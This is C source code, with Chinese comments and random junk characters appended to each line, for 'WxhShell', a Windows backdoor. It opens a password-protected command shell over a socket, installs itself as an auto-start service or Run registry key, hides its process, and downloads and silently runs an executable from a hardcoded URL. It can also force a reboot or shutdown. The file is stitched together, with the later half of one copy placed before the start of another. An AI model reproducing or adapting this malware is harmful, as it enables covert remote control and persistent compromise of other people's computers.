    if(Boot(SHUTDOWN)) rw)!>j+&A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e\}@w1  
    else { 3ko h!q+  
    closesocket(wsh); $bhI2%_`M  
    ExitThread(0); B/16EuH#  
    } \>\ERVEd  
    break; M[985bl  
    } RSAGSGp  
  // 获取shell \6AM?}v  
  case 's': { :H>I`)bw  
    CmdShell(wsh); ce$ [H}rDB  
    closesocket(wsh); b|V <Kp  
    ExitThread(0); 1#L%Q(G  
    break; kP5I+ B  
  } ~;b}_?%o  
  // 退出 sC"w{_D@*4  
  case 'x': { -I4@6v E,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w.rcYywI  
    CloseIt(wsh); `j3 OFC{7E  
    break; _*z ^PkH  
    } E;H9]*x/  
  // 离开 O\!'Ds+gX  
  case 'q': { X+{brvM<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SP<(24zdd  
    closesocket(wsh); Ca5LLG  
    WSACleanup(); bR}fj.gP  
    exit(1); Z6b]EcP)#  
    break; qQf NT.  
        } ga,kKPL  
  } J>M9t%f@  
  } 3;jx Io$,  
oumbJ7X=L  
  // 提示信息 h}tC +_"D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ne;0fk O  
} "([gN:   
  } >tkz%;6  
P( -   
  return; EhKG"Lb+  
} =i}lh}(  
qHheF%[\5  
// shell模块句柄 6pb~+=3n  
int CmdShell(SOCKET sock) Wm{ebx  
{ [CI0N I6F  
STARTUPINFO si; Ttl m&d+C  
ZeroMemory(&si,sizeof(si)); ?v:FGO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]H{* Z3S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b+gu<##  
PROCESS_INFORMATION ProcessInfo; p,f$9t4  
char cmdline[]="cmd"; V60"j(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "*`!.9pt  
  return 0; E`xpZ>$mPx  
} LN.*gG l  
@*|UyK.   
// 自身启动模式 -da: j-_  
int StartFromService(void) #Muh|P]%\  
{ Y~!A"$   
typedef struct v:Gy>&  
{ E ?bqEW(  
  DWORD ExitStatus; _E8Cvaob  
  DWORD PebBaseAddress; uzmYkBv  
  DWORD AffinityMask; Qc!3y>Y=_  
  DWORD BasePriority; Dk$<fMS,7c  
  ULONG UniqueProcessId; ai?N!RX%H  
  ULONG InheritedFromUniqueProcessId; KJ S-{ed  
}   PROCESS_BASIC_INFORMATION; _<F;&(o  
Zv@ Fr9m  
PROCNTQSIP NtQueryInformationProcess; NX8hFwR  
N(yd<M w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /s+IstW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u>vvW|OB[  
PJ?C[+&  
  HANDLE             hProcess; sSwY!";  
  PROCESS_BASIC_INFORMATION pbi; ?*xH HI/  
[MKG5=kaE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f52P1V]  
  if(NULL == hInst ) return 0; fI<d&5&g  
|v : )9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 34"PtWbV>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '/X]96Ci7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ac*J;fI  
QY<5o;m`  
  if (!NtQueryInformationProcess) return 0; wD$UShnm9-  
AOKC1iD%Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /NiD#s0t  
  if(!hProcess) return 0; `$6~QLUf  
X's<+hK&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y6)o7t  
b5 NlL`g  
  CloseHandle(hProcess); v[8+fd)}S  
,d*hhe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -/Wf iE  
if(hProcess==NULL) return 0; liLhvcd  
i`+bSg  
HMODULE hMod; 4*E5@{D  
char procName[255]; $)8,dS  
unsigned long cbNeeded; Su? cC/  
rMZuiRz*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "8cI]~ V  
mK"s*tD  
  CloseHandle(hProcess); y@LiUe5  
&(32s!qH  
if(strstr(procName,"services")) return 1; // 以服务启动 Qr7v^H~E4.  
p nI=  
  return 0; // 注册表启动 -<5{wQE;|  
} "&4r!2A  
=Tl_~OR  
// 主模块 Vr( Z;YO  
int StartWxhshell(LPSTR lpCmdLine) q}VdPt>X/  
{ #qDm)zCM  
  SOCKET wsl; p)?6#~9$  
BOOL val=TRUE; |vGHhzZ|  
  int port=0; hKWWN`;b !  
  struct sockaddr_in door; c>^(=52Q  
:|niFK4  
  if(wscfg.ws_autoins) Install(); &TA{US3~  
0('ec60u  
port=atoi(lpCmdLine); :N$-SV  
PRTjXq6)5  
if(port<=0) port=wscfg.ws_port; uh2_Rzln  
ArNQ}F/  
  WSADATA data; zhFm2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v*=P  
A( vdlj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +s"6[\H1d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A0k?$ko  
  door.sin_family = AF_INET; H;=Fq+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \ I523$a  
  door.sin_port = htons(port); qa )BbK^i  
V8TdtGB.|h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~tW~%]bs2Q  
closesocket(wsl); x4H#8ZK!  
return 1; gC/ e]7FNr  
} VK1B}5/  
l&qCgw  
  if(listen(wsl,2) == INVALID_SOCKET) { c:9n8skE7  
closesocket(wsl); X V;j6g  
return 1; Im/tU6ybV  
} 8SKrpwy  
  Wxhshell(wsl); <L#d <lx  
  WSACleanup(); p T8?z  
HRDpFMA/~  
return 0; G,|!&=Pe|E  
p,$N-22a  
} #Q^" .#  
e:9EP,  
// 以NT服务方式启动 ^Q$OzsEk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '!Hs"{~{  
{ PLc5m5  
DWORD   status = 0; >dt*^}*  
  DWORD   specificError = 0xfffffff; "}fweCBgo  
@>(KEjQTz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1Qf}nWy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ][MtG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1" cv5U  
  serviceStatus.dwWin32ExitCode     = 0; IL %]4,  
  serviceStatus.dwServiceSpecificExitCode = 0; qMNW w\k  
  serviceStatus.dwCheckPoint       = 0; lZcNio  
  serviceStatus.dwWaitHint       = 0; g8%O^)d=>  
.="X vVdkp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'Be'!9K*d  
  if (hServiceStatusHandle==0) return; 'cXdc  
YNU}R/u6^  
status = GetLastError(); d7X&3L%Oq  
  if (status!=NO_ERROR) EbQLMLD%  
{ fo@^=-4A-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5XZ! yYB?  
    serviceStatus.dwCheckPoint       = 0; ^QRg9s,T<  
    serviceStatus.dwWaitHint       = 0; { :tO RF  
    serviceStatus.dwWin32ExitCode     = status; ssi7)0  
    serviceStatus.dwServiceSpecificExitCode = specificError; hJ'H@L7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i/ilG 3m>  
    return; lS.Adl^k  
  } #dA$k+3  
!LI<%P)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fSuykbZ  
  serviceStatus.dwCheckPoint       = 0; I#M3cI!X?  
  serviceStatus.dwWaitHint       = 0; senK (kbc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H$(bSw$  
} ATNOb  
)|F|\6:ne  
// 处理NT服务事件,比如:启动、停止 *x"80UXL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #@S%?`4,  
{ 'x!\pE-  
switch(fdwControl) x%G3L\ 5  
{ =?fz-HB  
case SERVICE_CONTROL_STOP: x<NPp&GE  
  serviceStatus.dwWin32ExitCode = 0; 5AYOM=O]t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ):D"L C  
  serviceStatus.dwCheckPoint   = 0; a:h<M^n049  
  serviceStatus.dwWaitHint     = 0; j9+$hu#a  
  { u/zBz*zh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); du3f'=q6|  
  } X W)TI  
  return; 'ZfgCu)St  
case SERVICE_CONTROL_PAUSE: Y`|+sND  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J-F".6i5  
  break; "s*-dZO  
case SERVICE_CONTROL_CONTINUE: T~TP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *T|B'80  
  break; {4Of.  
case SERVICE_CONTROL_INTERROGATE: =l ,P'E  
  break; 157_0  
}; ':'g!b`/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [VCC+_  
} a&y^Ps6=  
Lsmcj{1d  
// 标准应用程序主函数 -Mt 5< s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o`?rj!\  
{ tT$OnZu&  
u2V-V#jS  
// 获取操作系统版本 2ej7Ql_@c  
OsIsNt=GetOsVer(); dhl[=Y ` Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -EjXVn! vQ  
f^WTsh]  
  // 从命令行安装 YeX*IZX8  
  if(strpbrk(lpCmdLine,"iI")) Install(); f0Q6sVZHa  
TBhM^\z  
  // 下载执行文件 ) "#'   
if(wscfg.ws_downexe) { 0P^h6Vat  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _B4&Fb.  
  WinExec(wscfg.ws_filenam,SW_HIDE); cw;wv+|k  
} prBLNZp  
 )vr@:PE  
if(!OsIsNt) { uFd$*`jS  
// 如果时win9x,隐藏进程并且设置为注册表启动 (z?HyxRT  
HideProc(); N!A20Bv  
StartWxhshell(lpCmdLine); Ycm)PU["  
} LzygupxY!  
else 4 p_C+4  
  if(StartFromService()) y>{: [L9*  
  // 以服务方式启动 l/$GF|`U  
  StartServiceCtrlDispatcher(DispatchTable); -@uFRQ t  
else v1h(_NLI!  
  // 普通方式启动 yu?5t?vf  
  StartWxhshell(lpCmdLine); $o6/dEKQ  
yIw}n67  
return 0; l}{{7~C`  
} ] !UYl  
A'qe2]  
lwnO  
y)f.ON36I  
=========================================== G#iQX`  
(Guzj*12  
^({)t  
>hKsj{=R7  
P{L=u74b{x  
eK8H5YE  
" 77e*9/6@  
 Xo^8o0xi  
#include <stdio.h> 0V%c%]PH  
#include <string.h> &K[*vyD  
#include <windows.h> $QX$rN  
#include <winsock2.h> k(Yz2  
#include <winsvc.h> VJ*1g+c  
#include <urlmon.h> .soCU8i3  
>T$0*7wF  
#pragma comment (lib, "Ws2_32.lib") # @\3{;{R  
#pragma comment (lib, "urlmon.lib") IQQv+af5  
~cz}C("Z  
#define MAX_USER   100 // 最大客户端连接数 -15e  
#define BUF_SOCK   200 // sock buffer jzvK;*N  
#define KEY_BUFF   255 // 输入 buffer 0'q4=!l  
~NGM6+9  
#define REBOOT     0   // 重启 *MJm:  
#define SHUTDOWN   1   // 关机 J,a&"eOZ  
$0*sj XV  
#define DEF_PORT   5000 // 监听端口 Xz]l#w4 Pp  
5C w( 4.  
#define REG_LEN     16   // 注册表键长度 G,8mFH  
#define SVC_LEN     80   // NT服务名长度 0Q3U\cDr  
sA0 Ho6  
// 从dll定义API N,t9X7G&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w,~*ead  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aRd~T6I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8jK=A2pTa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5hs_k[q  
vrn4yHoZ  
// wxhshell配置信息 1N5 E  
struct WSCFG { q|5WHB  
  int ws_port;         // 监听端口 ,@"yr>Q9#6  
  char ws_passstr[REG_LEN]; // 口令 7:`XE&Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2:LUB)&i  
  char ws_regname[REG_LEN]; // 注册表键名 O{:{P5  
  char ws_svcname[REG_LEN]; // 服务名 |$.?(FZYu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8lQ/cGAc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VPCI5mS_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }gSoBu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o:8ns m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vgW(l2,@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &oL"AJU  
b"g^Jm! j  
}; =lNW1J\SW  
6:_~-xG  
// default Wxhshell configuration s>9I#_4]  
struct WSCFG wscfg={DEF_PORT, b[vE!lJEq  
    "xuhuanlingzhe", Aez2n(yac  
    1, I0-1Hr  
    "Wxhshell", $G=^cNB|JB  
    "Wxhshell", Owp]>e  
            "WxhShell Service", #rHMf%0  
    "Wrsky Windows CmdShell Service", H )X[%+  
    "Please Input Your Password: ", #v c+;`X  
  1, UG vIHm  
  "http://www.wrsky.com/wxhshell.exe", j;$f[@0o  
  "Wxhshell.exe" =B&|\2`{)  
    }; ^C gg1e1  
%6ckau1_;  
// 消息定义模块 HB9"T5Pd*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t!D'ZLw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R6~6b&-8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9FEhl~&  
char *msg_ws_ext="\n\rExit."; [_N1 .}e  
char *msg_ws_end="\n\rQuit."; c<13r=+  
char *msg_ws_boot="\n\rReboot..."; cGE{dWz  
char *msg_ws_poff="\n\rShutdown..."; 1@Ba7>%'  
char *msg_ws_down="\n\rSave to "; ?M90K)&g{  
 2_$8Ga  
char *msg_ws_err="\n\rErr!"; NbWEP\dS'z  
char *msg_ws_ok="\n\rOK!"; nS#F*)  
\t{iyUxY  
char ExeFile[MAX_PATH]; N\|B06X  
int nUser = 0; n%r>W^2j  
HANDLE handles[MAX_USER]; 8] LF{Obz[  
int OsIsNt; FC 8<D  
mmQC9nZ  
SERVICE_STATUS       serviceStatus; CfOyHhhKX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <B%wq>4S  
$y;w@^  
// 函数声明 S5|7D[*  
int Install(void); mB2}(DbhE  
int Uninstall(void); #h.N#{9  
int DownloadFile(char *sURL, SOCKET wsh); 7$7|~k  
int Boot(int flag); j1Ys8k%$l  
void HideProc(void); mq{Z Q'  
int GetOsVer(void); 9#H0|zL  
int Wxhshell(SOCKET wsl); hl[<o<`Q  
void TalkWithClient(void *cs); I N@ ~~  
int CmdShell(SOCKET sock); %2RXrH2&H  
int StartFromService(void); Fpo}UQQbc  
int StartWxhshell(LPSTR lpCmdLine); t:dvgRJt*  
4][VK/v+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dLQp"vs$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j gV^{8qG  
HF*~bL  
// 数据结构和表定义 5I* 1CIO  
SERVICE_TABLE_ENTRY DispatchTable[] = bSM|"  
{ E; yr46  
{wscfg.ws_svcname, NTServiceMain}, Bl)D/  
{NULL, NULL} VK9E{~0=  
}; ZSlK   
[p\xk{7Y  
// 自我安装 SFzoRI=qG  
int Install(void) x8z6 <  
{ :z?T /9,C  
  char svExeFile[MAX_PATH]; .yzXw8~S  
  HKEY key; ;[zZI~wh  
  strcpy(svExeFile,ExeFile); q.:a4w J  
b5p;)#  
// 如果是win9x系统,修改注册表设为自启动 X:FyNUa  
if(!OsIsNt) { wQ-BY"cK\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sS)tSt{C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lYS4Q`z$  
  RegCloseKey(key); 4&]NC2I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }zo-%#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CE183l\  
  RegCloseKey(key); P^ -x  
  return 0; .>`7d=KT  
    } WUDXx %  
  } Pi&\GMzd  
} U:/_T>f%  
else { B_r:daCS:  
G*v,-O  
// 如果是NT以上系统,安装为系统服务 ZZL%5{ w_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d76C ]R5L  
if (schSCManager!=0) $YBH;^#  
{ e?aSM  
  SC_HANDLE schService = CreateService 8W.-Y|[5?  
  ( fQU_A  
  schSCManager, ZDr TPnA[  
  wscfg.ws_svcname, i;)r|L `V?  
  wscfg.ws_svcdisp, UR`pZ.U?  
  SERVICE_ALL_ACCESS, ]sI{ +$~:c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IetV]Ff6  
  SERVICE_AUTO_START, qyzeAK\Ia  
  SERVICE_ERROR_NORMAL, (w'k\y  
  svExeFile, w68VOymD/  
  NULL, =2wy;@f  
  NULL, atFu KYI  
  NULL, 3~0Xe  
  NULL, :;x#qtv~Iz  
  NULL V> eJ  
  ); RK]."m0c~#  
  if (schService!=0) 6? (8KsaN  
  { !91<K{#A{  
  CloseServiceHandle(schService); )\0c2_w>  
  CloseServiceHandle(schSCManager); h 9{'w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qo;F]v*pkK  
  strcat(svExeFile,wscfg.ws_svcname); qoD M!~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QeAkuqT'[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M8lR#2n|  
  RegCloseKey(key); p&\x*~6u  
  return 0; (aH_K07  
    } ?9H.JR2s%  
  } 65A>p:OO  
  CloseServiceHandle(schSCManager); ;c>Rjg&[  
} 8>jd2'v{  
} _^ @}LVv+E  
4a~9?}V:  
return 1; fx4X!(w!B  
} &"svt2  
SY2B\TV  
// 自我卸载 `qsn;  
int Uninstall(void) , v6[#NU_Z  
{ aI8K*D )@  
  HKEY key; 93y.u<,2;  
9X{aU)"omQ  
if(!OsIsNt) { !$5U\"M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F;&'C$%  
  RegDeleteValue(key,wscfg.ws_regname); \bb,gRfP  
  RegCloseKey(key); ,G,T&W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :FdV$E]]<  
  RegDeleteValue(key,wscfg.ws_regname); 1<qq69x  
  RegCloseKey(key); oZ~M`yOz.  
  return 0; ji2if.t@  
  } 2S8/ lsB  
} 2{h9a0b  
} 'u.`!w '|L  
else { gGdZ}9  
UeT"v?zP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U=%S6uL\bx  
if (schSCManager!=0) HWGlC <  
{ \d%SC<s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fk 1M5Dm  
  if (schService!=0) rq6(^I  
  { y?aOk-TaRA  
  if(DeleteService(schService)!=0) { *4[3?~_B#6  
  CloseServiceHandle(schService); :/Nz' n  
  CloseServiceHandle(schSCManager); te'<xfG  
  return 0; U1rh[A>  
  } eA_1?j]E3  
  CloseServiceHandle(schService); KFCzf_P!  
  } Fu m1w  
  CloseServiceHandle(schSCManager); }`  
}  c:~o e  
} \"PlM!0du  
Jo h&Ay  
return 1; F1|4([-<]  
} Mi 'eViH  
: ZU  
// 从指定url下载文件 #ZGWU_l}  
int DownloadFile(char *sURL, SOCKET wsh) K=Fcy#, f  
{ wEzLfZ Oz/  
  HRESULT hr; +|( eP_  
char seps[]= "/"; %r~TMU2"  
char *token; it>FG9hVo  
char *file; 35jP</  
char myURL[MAX_PATH]; A"z')   
char myFILE[MAX_PATH]; }(TZ}* d  
JYKA@sZHe  
strcpy(myURL,sURL); s bW`  
  token=strtok(myURL,seps); \kWceu}H,  
  while(token!=NULL) l= !KZaH  
  { &g@?{5FP  
    file=token; {v]A`u)  
  token=strtok(NULL,seps); eB!0:nHN  
  } 4"wuqr|o  
R4QXX7h!  
GetCurrentDirectory(MAX_PATH,myFILE); @ZK|k  
strcat(myFILE, "\\"); tM ]qR+  
strcat(myFILE, file); "vjz $.  
  send(wsh,myFILE,strlen(myFILE),0); tq>QZEg  
send(wsh,"...",3,0); 5oWR}qqFK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0V`0="rQ  
  if(hr==S_OK) |3\ mH~Bw  
return 0; 4(  ^Ht  
else bv$)^  
return 1; &gcKv1a\  
/o![%&-l  
} `;4zIBJ  
-Vt*(L  
// 系统电源模块 ,T jd  
int Boot(int flag) +&-/$\"  
{ $xlI"-(  
  HANDLE hToken; )UZ 's>O  
  TOKEN_PRIVILEGES tkp; %,-vmqr  
SH5GW3\h  
  if(OsIsNt) { d^WVWk K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q}tLOVu1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +:wOzTUN  
    tkp.PrivilegeCount = 1; RP z0WP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m_Z%[@L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B]InOlc47  
if(flag==REBOOT) { <+" Jh_N#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ix$?/GlL  
  return 0; }O5c.3  
} &D>e>]E|P  
else { Iz!Blk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^cDHyB=v4d  
  return 0; !YsL x[+  
} -GDX#A-J  
  } xv9SQ,n<  
  else { *ukugg.  
if(flag==REBOOT) { X@5!I+u\L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FSIV\ u  
  return 0; dBX%/  
} $2 ~RZpS  
else { -?&wD["y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \zR{D}aS  
  return 0; S3`zB?7,  
}  o-_0  
} ?o"wyF A*  
yx4B!U  
return 1; a(NN%'fDD  
} 8 POrD8B  
wH3FCfvm  
// win9x进程隐藏模块  }aRV)F  
void HideProc(void) b`PAOQ  
{ S`5^H~  
~}i &gd|(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (`k0tC2  
  if ( hKernel != NULL ) 8h78Zb&[  
  { H"tS33  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q<>LK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,i;kAy)  
    FreeLibrary(hKernel); /KO!s,Nk  
  } "gfy6m  
l&dHH_m3  
return; Xl.h&x0? 8  
} KxqT5`P&  
KCGs*kp>  
// 获取操作系统版本 z%Op_Ddp  
int GetOsVer(void) 'sn%+oN  
{ G0^WQQ4  
  OSVERSIONINFO winfo; 3x#=@i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fJtJ2xi  
  GetVersionEx(&winfo); R)?K+cJ%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j/5>zS  
  return 1; KM*sLC#  
  else !Ui3}  
  return 0; DQDt*Uj,  
} U\&kT/6vh  
U59uP 7n  
// 客户端句柄模块 S)p{4`p%  
int Wxhshell(SOCKET wsl) R4"["T+L`  
{ 7]_UZ)u  
  SOCKET wsh; OY*BVJ^  
  struct sockaddr_in client; Uq 2Uv  
  DWORD myID; +[V[{n  
su<_?'uH  
  while(nUser<MAX_USER) y@ J\h8_  
{ e!URj\*  
  int nSize=sizeof(client); r*C:)z .}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nchhNU  
  if(wsh==INVALID_SOCKET) return 1; w1F7gd  
c>{6NSS -  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E1_FK1*V;  
if(handles[nUser]==0) s[)2z3  
  closesocket(wsh); %;(+s7  
else g><u (3  
  nUser++; S])YU?e  
  } 6*Qn9Q%p-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sTU]ntoQqR  
 wa6DJ  
  return 0; M. 1R]x( |  
} WM}:%T-  
%4Ylq|d  
// 关闭 socket F'lG=c3N  
void CloseIt(SOCKET wsh) =<s+cM  
{ \K9XG/XIx  
closesocket(wsh); =L{lt9qQz  
nUser--; )fP ,F(  
ExitThread(0); zh2$U dZ|M  
} + 1\1Z@\M  
 s$YKdtR  
// 客户端请求句柄 ;'!U/N;-  
void TalkWithClient(void *cs) k{Vc5F  
{ d{0b*l%  
H@bra~k-  
  SOCKET wsh=(SOCKET)cs; 8N4W}YBs  
  char pwd[SVC_LEN]; FSoL|lH  
  char cmd[KEY_BUFF]; St-:+=V_  
char chr[1]; >~_y\  
int i,j; LN ]ks)  
>Bq;Z}EV  
  while (nUser < MAX_USER) { !p >a,8w  
kX zm  
if(wscfg.ws_passstr) { " E72j.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @/l{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gF^l`1f"  
  //ZeroMemory(pwd,KEY_BUFF); ~` @dI  
      i=0; A9qCaq{  
  while(i<SVC_LEN) { Yd~K\tX :n  
EXH{3E54)`  
  // 设置超时 qe 4hNFq  
  fd_set FdRead; l " pCxA  
  struct timeval TimeOut; }oigZI(1  
  FD_ZERO(&FdRead); q@F"fjWBr  
  FD_SET(wsh,&FdRead); 5#g<L ~  
  TimeOut.tv_sec=8; FXV=D_G}  
  TimeOut.tv_usec=0; /|t vGC.#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y'i0=w6G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~"\sL;B  
>F8&wh'BjY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dx$74~2e  
  pwd=chr[0]; T~cq=i|O  
  if(chr[0]==0xd || chr[0]==0xa) { Fkuq'C<|Y  
  pwd=0; ZLyJ  
  break; N#@xo)-H  
  } )&1yt4 x6%  
  i++; IJ!]1fXy+  
    } 1 iS9f~  
6#T?g7\pyR  
  // 如果是非法用户,关闭 socket L Tp5T|O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WGN[`D"  
} 96]lI3 c  
V[wEn9   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cBmo#:>'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Xm5re.  
]/p0j$Tq$  
while(1) { , M/-lW  
S+ymdZ)xZ`  
  ZeroMemory(cmd,KEY_BUFF); 583ej2HPg  
YP>VC(f   
      // 自动支持客户端 telnet标准   |.=Ee+HZ  
  j=0; vF;6Y(h>  
  while(j<KEY_BUFF) { IL3,dad'^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GK95=?f~8;  
  cmd[j]=chr[0]; T fzad2}^  
  if(chr[0]==0xa || chr[0]==0xd) { i= ~HXr}  
  cmd[j]=0; CEYHD?9k8  
  break; <2A4}+p:  
  } bT[Q:#GL  
  j++; TnM}|~V  
    } *X%`MN  
'9auQ(2  
  // 下载文件 4ms hB  
  if(strstr(cmd,"http://")) { Yr-,0${m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '  AeU  
  if(DownloadFile(cmd,wsh)) l3-Ksw U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4I:Jb;k>  
  else &9o @x]) @  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); En5Bsz !  
  } `E!t,*(*E  
  else { w$Dp m.0(  
WgE~H)_%  
    switch(cmd[0]) { ]lz,?izMR  
  EHzU`('?[  
  // 帮助 JFYeOmR+l  
